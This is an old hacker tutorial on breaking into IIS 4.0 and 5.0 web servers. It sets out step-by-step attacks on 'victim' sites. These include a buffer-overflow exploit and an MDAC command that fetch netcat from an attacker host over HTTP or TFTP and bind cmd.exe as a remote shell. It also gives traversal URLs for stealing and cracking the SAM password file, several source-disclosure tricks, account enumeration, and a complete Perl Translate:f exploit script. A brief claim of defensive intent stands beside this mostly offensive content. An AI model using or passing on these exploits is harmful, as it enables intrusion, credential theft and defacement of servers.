# SECURING IIS by BREAKING

==========

**by Mount Ararat Blossom**

9/15/2000

mount_ararat_blossom@hotmail.com

==========

## *01- Abstract*

I am not sure what you want to get out of this but basically this paper is intended on breaking merely IIS web servers especially versions 4.0 and 5.0 via TCP/IP over the port 80. This techniques works against even so-called secure networks just because every network even those secured ones lets HTTP connections in.

==========

## *02- Intro*

Alright so you all wanna know how to break into IIS web servers? First off, you should find a cgi-scanner so that things will get easier. My personnel preferences are

"whisker" by "rain forest puppy" (www.wiretrip.net/rfp).
"cis" by "mnemonix" (www.cerberus-infosec.co.uk)

To understand which server is running on the victim site
telnet <victim> 80
GET HEAD / HTTP/1.0

and there you go with the name and the version of the web server. However some sites might run their web servers over 8080, 81, 8000, 8001, and so on.

To understand SSL web servers, which provides encryption between the web server and the browser we use the tool "ssleay"

s_client -connect <victim>:443
HEAD / HTTP /1.0

and here we go again.

As i am writing this i am hoping that you will be able to use this to secure your web servers instead of using this to break into others.

==========

## *03- Game Starts*

========IIS HACK=====

The folks at www.eeye.com, have found a vulnerability on IIS 4.0 which allows us to upload a crafted version of netcat (hacker's swiss army knife)

onto victim server and binds a cmd.exe on port 80.

The vulnerabliy was a bufferoverflow in .htr .idc and .stm files. The problem is with insufficient bounds checking of the names in the URL for .htr .stm and .idc files, allowing hackers to insert some backdoors to download and execute arbitrary commands on the local system as the administrator user.

To hack the victim site we need

iishack.exe

ncx.exe (you can find these two at www.technotronic.com)

plus we need a web server running at our attacking box.

First off, run the web server on your attacking box and place the ncx.exe on your root directory.

then run iishack.exe against the victim site

c:\>iishack.exe <victim> 80 <evil_hacker>/ncx.exe

Then here we go, go and get your swiss army knife, namely netcat,

c:\>nc <victim> 80 ==========>>>BOOM!

the command promt from the victim site suddenly appears on your box !!!

D:\> or whatever it is , C;E;...

do you want me to xplain what to do next, hey common you must be kidding ...hehe....

=========MDAC- Local Command Execution==========

You might think that it is a years-old vulnerability, however what i see on pen-tests is that almost 40% of IIS web servers are still vulnerable to this.

IIS' MDAC component has a vulnerability where an attacker can submit commands for local execution.

The core problem is with the RDS Datafactory. By default, it allows remote commands to be sent to the IIS server. The commands will be run as the effective user of the service, which is typically the SYSTEM user.

I wont get into details, if you want go and check RFP's web site. However, you can find a vulnerable site by checking

c:\>nc -nw -w 2 <victim> 80

GET /msadc/msadcs.dll HTTP

and if you get the following

application/x_varg

it is most probably vulnerable if not patched.

You can find the exploit, mdac.pl and msadc2.pl from rain forest puppy's web site at www.wiretrip.net/rfp It checks for the vulnerability and if it is vulnerable then it asks for the command you wanna execute:

c:\> mdac.pl -h <victim>

Please type the NT commandline you want to run (cmd /c assumed):\n

cmd /c

if you wanna change the web site which is located at d:\inetpub\wwwroot\victimweb\index.htm

then you can type:

cmd/c  echo hacked by me > d:\inetpub\wwwroot\victimweb\index.htm
or what ever you want but my personnal preference is uploading our swiss army knife, netcat, and binding it to the cmd.exe to the port 80. To do that i set up my TFTP server and put nc.exe in it. Then when i am asked to type the command i want to execute, i type the following:

cmd/c cd  %systemroot%&&tftp -i <evil_hacker> GET nc.exe&&del ftptmp && attrib -r nc.exe&&nc.exe -l -p 80 -t -e cmd.exe

there you go, go on fire your netcat against the victim over port 80, you get the eggshell,  cmd.exe.....

=========Codebrws.asp & Showcode.asp ==========

Codebrws.asp and Showcode.asp is a viewer file that ships with Microsoft IIS, but is
not installed by default. The viewer is intended to be installed by the administrator to allow for the viewing of sample files as a learning exercise; however, the viewer does not restrict what files can be accessed. A remote attacker can exploit this vulnerability to
view the contents of any file on the victim's server. However, there are several issues to be aware of:

1. Codebrws.asp and showcode.asp are not installed by default.
2. The vulnerability only allows for viewing of files.
3. The vulnerability does not bypass WindowsNT Access Control Lists (ACLs).
4. Only files in the same disk partition can be viewed.
5. Attackers must know the location of the requested file.

Lets say you wanna see the code of codebrws.asp request the following from the from your favorite web browser,
http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp
then you will see the source code of codebrws.asp
For using showcode.asp, do the following again from your infamous browser

http://www.victim.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/repair/sam._

There you go, you get the infamous sam._ file, copy it, expand it and crack it using Lophtcrack, my personal choise, and you will get all user passwords even the administrator one.

=========Null.htw==========

Microsoft IIS running with Index Server contains a vulnerability through Null.htw even if no .htw files exist on the server. Thevulnerability displays the source code of an ASP page or otherrequested file. The ability to view ASP pages could provide sensitive information such as usernames and passwords. An attacker providing IIS with a malformed URL request could escape the virtual directory, providing access to the logical drive and root directory. The "hit-highlighting" function in the Index Server does not

adequately restrain what types of files may be requested, allowing an attacker to
request any file on the server. Microsoft has released a patch for Windows 2000 addressing this vulnerability.

Null.htw function has 3 variables which gets their inputs from the user. These variables are as follows

CiWebhitsfile
CiRestriction
CiHiliteType

Respectively.

Say that, we wanna see the source code of default.asp, the type the following from your favorite browser

http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full

and you will get the source of default.asp file.

========webhits.dll & .htw===============

The hit-highligting functionality provided by Index Server allows a web user to have a document with their original search terms highlighted on the page. The name of the document is passed to .htw file with the CiWebhitsfile argument. Webhits.dll, the ISAPI Application that deals with the request, opens the file highlights accordingly and returns the resulting page. As the user has control of the CiWebhitsfile argument passed to the .htw file they can request anything they want. And the real problem is that, they can view the source of ASP and other scripted pages.

To unserstand you are vulnerable, request the following from the site

http://www.victim.com/nosuchfile.htw

if you get the following from the server

format of the QUERY_STRING is invalid

it means that you are vulnerable.

The problem is because of webhits.dll (an ISAPI Application) associated to .htw files. You can find the .htw files in the following locations of infamous IIS web server,

/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (this is normally for loopback)

An attacker, for instance view the contents of sam._ file as follows

http://www.victim.com/iissamples/issamples/oop/qfullhit.htw?ciwebhitsfile=/../../winnt/repair/sam._&cirestriction=none&cihilitetype=full

will reveal the contents of sam._ file, which is binary, you should copy it, expand it and crack it as i explained several times before.

===ASP Alternate Data Streams(::$DATA)==========

The $DATA vulnerability, published in mid-1998, results from an error in the way the Internet Information Server parses file names. $DATA is an attribute of the main data stream (which holds the "primary content") stored within a file on NT File System (NTFS). By creating a specially constructed URL, it is possible to use IIS to access this data stream from a browser. Doing so will display the code of the file
containing that data stream and any data that file holds. This method can be used to display a script-mapped file that can normally be acted upon only by a particular Application Mapping. The contents of these files are not ordinarily available to users. However, in order to display the file, the file must reside on the NTFS partition and must
have ACLs set to allow at least read access; the unauthorized user must also know the file name. Microsoft Windows NT Server's IIS versions 1.0, 2.0, 3.0 and 4.0 are affected by this vulnerability.
Microsoft has produced a hotfix for IIS versions 3.0 and 4.0. The fix involves IIS "supporting NTFS alternate data streams by asking Windows NT to make the file name canonical" according the Microsoft.

To view or get the source of an .asp code, type the following from your browser

http://www.victim.com/default.asp::$DATA
and you will get the source code.

=========ASP Dot Bug==========

The famous Lopht group has discovered the ASP dot bug in 1997. The vulnerability involved being able to reveal ASP source code to attackers. By appending one or more dots to the end of an ASP URL under IIS 3.0, it was possible to view the ASP source code.

The exploit worked by appending a dot the end of an ASP as follows

http://www.victim.com/sample.asp.

======ISM.DLL Buffer Truncation==========

This bug was found by Cerberus Information Security team. It runs on IIS 4.0 and 5.0. that allows attackers to view the content of files and source code of scripts.

By making a specially formed request to IIS, with the name of the file and then appending around 230 + " %20 " (these represents spaces) and then appending " .htr " this tricks IIS into thinking that the client is requesting a " .htr " file . The .htr file extension is mapped to the ISM.DLL ISAPI Application and IIS redirects all requests for .htr rsources to this DLL.

ISM.DLL is then passed the name of the file to open and execute but before

doing this ISM.DLL truncates the buffer sent to it chopping off the .htr and a few spaces and ends up opening the file we want to get source of. The contents are then returned.

This attack can only be launched once though., unless the web service started and stopped. It will only work when ISM.DLL first loaded into memory.

An attacker can view the source of global.asa, for instance, as follows

http://www.victim.com/global.asa%20%20(...<=230)global.asa.htr

will reveal the source of global.asa

==========.idc & .ida Bugs==========

This exploit, actually, similar to ASP dot bug, however this time we get the path of web directory on IIS 4.0. I have even seen this bug working on IIS 5.0 on my pen-tests. By adding an ".idc" or ".ida" extension to the end of URL will cause IIS installations to try to run the so-called .IDC through the database connector .DLL. If the .idc doesnt exists, than it will return rather informative about the server.

http://www.victim.com/anything.idc or anything.idq

you will get the path.

==========+.htr Bug==========

This exploit is also ever so similar to dot asp bug and you can get the source code of ASA and ASP files by appending a +.htr to the URL of asp and asa files.

http://www.victim.com/global.asa+.htr

you may get the source code to browse

==========NT Site Server Adsamples Vulnerability ======

By requesting site.csc, which is normally located in /adsamples/config/site.csc,

The attacker may be able to retrieve the DSN, UID and PASS of the database as this file may contain them.

By typing the following

http://www.victim.com/adsamples/config/site.csc

the attacker will download the file site.csc and (s)he can get some important data.

==========Password Attack to User Accounts==========

IIS 4.0 has an interesting feature that can allow a remote attacker to attack user accoounts local to the web server as well as other machines across to the internet. Added to this if your Web server is behind a firewall performing NAT (network address translation), machines on inside could be attacked as well.

By default every install of IIS 4.0 creates a virtual directory " /iisadmpwd ". This directory contains a number of .htr files. Anonymous users are allowed to access this files, they are not restricted to loopback address(127.0.0.1). The following is a list of files found in the .iisadmpwd directory, which physically maps to c:\winnt\system32\inetsrv\iisadmpwd

Achg.htr

Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr

This files are pretty much of the same variants of the same file and allow a user to change their password via web. It can also be used to enumerate valid accounts through guess work.

If the user account does not exist, a message will be returned saying "invalid domain".

If the account exists, but the password is wrong then the message will say so.

If an IP address followed by a backslash precedes the account name then the IIS server will contact the remote machine, over the NetBIOS session port 139, and attempt to change to user's password. (x.x.x.x\ACCOUNTNAME)

Therefore, if you do not need this service, remove the /iisadmpwd directory. This will prevent attackers.

==========Translate:f Bug ==========

Daniel Docekal brought this issue in BugTraq this summer, August 15, 2000. (www.securityfocus.com/bid/1578) The actual problem is with the WebDAV implementation in office 2000 and FrontPage 2000 Server Extensions.
When someone makes a request for ASP/ASA or anyother scriptable page and adds "translate:f " into headers of HTTP GET (headers are not part of URL, part of HTTP request), then they are come up with complete ASP/ASA source code on Win2K SP1 not installed.
Translate:F is a legitimate header for WebDAV and is used in WebDAV compatible client and in FP2000 to get the file for editing.
Simple adding of "translate:f" and placing "/" at the end of request to HTTP GET will lead in security bug.
It is a Win2K bug, but due to FP2000 installed IIS4.00, it is also a IIS4.0 bug.
You can use the following perl script to use this exploit.

```
##############################
use IO::Socket;            #
my ($port, $sock,$server);  #
$size=0;                   #
##############################
#
$server="$ARGV[0]";
$s="$server";
$port="80";
$cm="$ARGV[1]";
&connect;
sub connect {
if ($#ARGV < 1) {
  howto();
```

```
  exit;
}
$ver="GET /$cm%5C HTTP/1.0
Host: $server
Accept: */*
Translate: f
\n\n";
  my($iaddr,$paddr,$proto);
$iaddr = inet_aton($server) || die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) || die "Error: $!";
$proto = getprotobyname('tcp') || die "Error: $!";
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Error:
$!";
connect(SOCK, $paddr) || die "Error: $!";
send(SOCK, $ver, 0) || die "Can't to send packet: $!";
open(OUT, ">$server.txt");
print "Dumping $cm to $server.txt \n";
while(<SOCK>) {
print OUT <SOCK>;
}
sub howto {
print "type as follows: Trans.pl www.victim.com codetoview.asp \n\n";
}
close OUT;
$n=0;
$type=2;
close(SOCK);
exit(1);
}
```

If we call the script as translate.pl then we can get a ASA/ASP source code as follows
Trasn.pl www.victim.com codetoview.asp

And there you go, you get the source code of codeview.asp.

## *04- Conclusion*

All the information i have given you has been widely used in wild. However what i tried to do was just to collect all these information together as to check the security of our famous IIS 4.0 and 5.0. Wheneveri encounter a IIS web server during my pen-tests, i do check for these vulnerabilities and most of the time one of these works.
I hope that, what i written was helped you in some way. Thanks for reading it, please continue to support me as i continue to release this sortta papers. If you wanna learn more, please check the mentioned people's web sites for more details and you can even write to me.
Peace in mind
Watch your servers in wild